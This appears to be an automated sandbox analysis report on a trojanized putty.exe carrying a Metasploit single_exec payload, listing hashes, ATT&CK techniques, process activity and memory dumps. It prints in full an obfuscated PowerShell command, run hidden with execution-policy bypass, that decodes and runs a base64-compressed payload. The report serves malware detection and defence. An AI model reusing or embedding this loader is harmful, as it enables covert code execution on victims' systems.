metasploit | 5258590e6f6f1f45932bf67227f458c6c162c85003a5cad340773a73338251ab

Analysis

max time kernel
119s
max time network
119s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26-09-2024 05:22

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General

Target

putty.exe
Size

1.5MB
MD5

334a10500feb0f3444bf2e86ab2e76da
SHA1

c6a97b63fbd970984b95ae79a2b2aef5749ee463
SHA256

0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83
SHA512

9c85eff62ef12564f02735c58b64c581da7107cd250829ce88cc569c5def675d76da3b538a4a394aa2747c375fe683d629e552c3c279d35d6db8484467a530de
SSDEEP

24576:913gJnNiQQSA7Ph8NKvKUWq8U5EDvLJPjraFLR5ROWgNcEDvLJPjraFLR5ROx:9WjrHKvKUYPjrkp7gRjrkpO

Score

10^/10

metasploit backdoor discovery execution trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2512	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	putty.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2512	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1796	putty.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2512	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1796 wrote to memory of 2512	1796	putty.exe	31
PID 1796 wrote to memory of 2512	1796	putty.exe	31
PID 1796 wrote to memory of 2512	1796	putty.exe	31
PID 1796 wrote to memory of 2512	1796	putty.exe	31

C:\Users\Admin\AppData\Local\Temp\putty.exe
"C:\Users\Admin\AppData\Local\Temp\putty.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:1796
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAOW/UWECA51W227jNhB991cMXHUtIRbhdbdAESCLepVsGyDdNVZu82AYCE2NYzUyqZKUL0j87yUlypLjBNtUL7aGczlz5kL9AGOxQbkoOIRwK1OtkcN8B5/Mz6SQHCW8g0u6RvidymTX6RhNplPB4TfU4S3OWZYi19B57IB5vA2DC/iCm/Dr/G9kGsLJLscvdIVGqInRj0r9Wpn8qfASF7TIdCQxMScpzZRx4WlZ4EFrLMV2R55pGHlLUut29g3EvE6t8wjl+ZhKuvKr/9NYy5Tfz7xIrFaUJ/1jaawyJvgz4aXY8EzQpJQGzqcUDJUCR8BKJEWGFuCvfgCVSroAvw4DIf4D3XnKk25QHlZ2pW2WKkO/ofzChNyZ/ytiWYsFe0CtyITlN05j9suHDz+dGhKlqdQ2rotcnroSXbT0Roxhro3Dqhx+BWX/GlyJa5QKTxEfXLdK/hLyaOwCdeeCF2pImJC5kFRj+U7zPEsZtUUjmWA06/Ztgg5Vp2JWaYl0ZdOoohLTgXEpM/Ab4FXhKty2ibquTi3USmVx7ewV4MgKMww7Eteqvovf9xam27DvP3oT430PIVUwPbL5hiuhMUKp04XNCv+iWZqU2UU0y+aUPcyC4AU4ZFTope1nazRSb6QsaJW84arJtU3mdL7TOJ3NPPtrm3VAyHBgnqcfHwd7xzfypD72pxq3miBnIrGTcH4+iqPr68DW4JPV8bu3pqXFRlX7JF5iloEsODfaYBgqlGnrLpyBh3x9bt+4XQpnRmaKdThgYpUXujm845HIdzK9X2rwowCGg/c/wx8pk0KJhYbIUWJJgJGNaDUVSDQB1piQO37HXdc6Tohdcug32fUH/eaF3CC/18t2P9Uz3+6ok4Z6G1XTsxncGJeWG7cvyAHn27HWVp+FvKJsaTBXTiHlh33UaDWw7eMfrfGA1NlWG6/2FDxd87V4wPBqmxtuleH74GV/PKRvYqI3jqFn6lyiuBFVOwdkTPXSSHsfe/+7dJtlmqHve2k5A5X5N6SJX3V8HwZ98I7sAgg5wuCktlcWPiYTk8prV5tbHFaFlCleuZQbL2b8qYXS8ub2V0lznQ54afCsrcy2sFyeFADCekVXzocf372HJ/ha6LDyCo6KI1dDKAmpHRuSv1MC6DVOthaIh1IKOR3MjoK1UJfnhGVIpR+8hOCi/WIGf9s5naT/1D6Nm++OTrtVTgantvmcFWp5uLXdGnSXTZQJhS6f5h6Ntcjry9N8eXQOXxyH4rirE0J3L9kF8i/mtl93dQkAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2512

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1796-0-0x0000000000400000-0x0000000000580A04-memory.dmp

Filesize
1.5MB

Download
memory/1796-9-0x0000000000400000-0x0000000000580A04-memory.dmp

Filesize
1.5MB

Download
memory/2512-3-0x0000000073CE1000-0x0000000073CE2000-memory.dmp

Filesize
4KB

Download
memory/2512-4-0x0000000073CE0000-0x000000007428B000-memory.dmp

Filesize
5.7MB

Download
memory/2512-5-0x0000000073CE0000-0x000000007428B000-memory.dmp

Filesize
5.7MB

Download
memory/2512-6-0x0000000073CE0000-0x000000007428B000-memory.dmp

Filesize
5.7MB

Download
memory/2512-7-0x0000000073CE0000-0x000000007428B000-memory.dmp

Filesize
5.7MB

Download
memory/2512-8-0x0000000073CE0000-0x000000007428B000-memory.dmp

Filesize
5.7MB

Download